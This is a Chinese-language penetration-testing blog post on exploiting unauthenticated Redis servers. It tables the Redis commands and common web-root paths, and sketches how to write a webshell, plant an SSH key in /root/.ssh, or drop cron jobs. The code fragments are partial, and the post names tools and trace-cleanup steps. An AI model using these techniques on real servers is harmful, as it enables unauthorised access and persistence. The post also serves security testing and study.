Redis 未授权利用组合拳
前言
最近在渗透测试中遇到了一些redis
未授权利用的一些问题(拿到了Redis
权限,但在提权时,shell
写不进去,亦或是弹shell
弹不出来)
虽然之前在打红日靶场中遇到过redis
的站点,但当时没有深究关于redis
未授权的问题,所以今日补补当时留下的坑点
基础命令
命令 | 功能 | 典型用途 | 限制版本/条件 |
---|---|---|---|
config set dir "路径" |
设置目录 | 路径劫持 | Redis < 6.2(默认无 ACL) |
config set dbfilename "文件名" |
设置文件名 | 文件覆盖 | Redis < 6.2(默认无 ACL) |
set "键名" "值" |
写入内存数据 | 文件构造 | 无 |
save / bgsave |
将内存数据持久化到磁盘 | 文件落地 | 需持久化功能开启 |
del "键名" |
删除内存中的键 | 痕迹清理 | 需配合 flushall 彻底清除 |
🖥️ 利用方式对比表(Linux / Windows)
系统 | 写 WebShell | SSH Key | 定时任务/计划任务 | 配置劫持 | 启动项写入 |
---|---|---|---|---|---|
Linux | ✅需 Web 目录写权限 | ✅需用户 .ssh 目录可写 |
✅需 /var/spool/cron 、/etc/cron.* 可写 |
✅ 修改 ~/.bashrc 、/etc/profile |
❌ 无传统启动项机制 |
Windows | ✅需 Web 目录写权限 | ❌ | ✅需管理员权限执行命令 | ❌ 需依赖注册表/服务劫持 | ✅ 注册表或启动目录可写 |
📁 常见 Web 根目录路径
🔸 Linux
路径 | 所属平台 | 补充说明 |
---|---|---|
/var/www/html/ |
Apache 默认 | Debian/Ubuntu 默认路径 |
/usr/share/nginx/html/ |
Nginx 默认 | CentOS/RHEL 默认路径,编译安装可能为 /usr/local/nginx/html/ |
/www/wwwroot/ |
宝塔 | 实际路径通常为 /www/wwwroot/域名/ (需动态替换域名) |
/home/wwwroot/ |
LNMP | LNMP 一键包默认路径,可能包含子目录如 /home/wwwroot/default/ |
/var/www/vhosts/ |
Plesk | 具体路径为 /var/www/vhosts/域名/httpdocs/ ,需域名替换 |
🔹 Windows
路径 | 所属平台 | 补充说明 |
---|---|---|
C:\inetpub\wwwroot\ |
IIS 默认 | IIS 默认根目录,需注意 IIS 用户组权限(如 IIS_IUSRS ) |
D:\wwwroot\ |
宝塔 Win | 宝塔 Windows 版默认路径,实际为 D:\wwwroot\域名\ (需动态替换域名) |
D:\xampp\htdocs\ |
XAMPP | XAMPP 集成环境路径,可能包含子项目目录(如 D:\xampp\htdocs\project\ ) |
D:\phpStudy\WWW\ |
phpStudy | phpStudy 默认路径,实际为 D:\phpStudy\WWW\\域名\ (需动态替换域名) |
D:\apache-tomcat-*\webapps\ROOT\ |
Tomcat | 需替换 * 为实际版本号(如 9.0.85 ),默认安装路径在 C:\Program Files |
💥 利用代码片段
1. 写WebShell
将文件保存到web
根目录下(需要知道web根目录路径)
当写入的数据较大时写入数据会被压缩,若禁用压缩需要使用命令config set rdbcompression no
config set dir "Web目录" |
2. 写 SSH Key
本地ssh-keygen
生成公钥与私钥,将公钥放在redis
未授权服务器/root/.ssh/authorized_keys
上
忆往昔
config set dir /root/.ssh/ |
3. 写 Linux Cron
写入计划任务,在/etc/cron.d
或/var/spool/cron
下生成文件
/etc/cron.d
下的计划任务文件名可以是随机的,但计划任务命令需要指定用户名
/var/spool/cron
下的计划任务文件名和用户名相同,会覆盖文件,可能会破坏生产环境
config set dir /etc/cron.d |
config set dir /var/spool/cron |
⚔️ 利用工具
ARDM
RedisEXP
|
写计划任务
MDUT
🔗参考
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sta3t's Blog!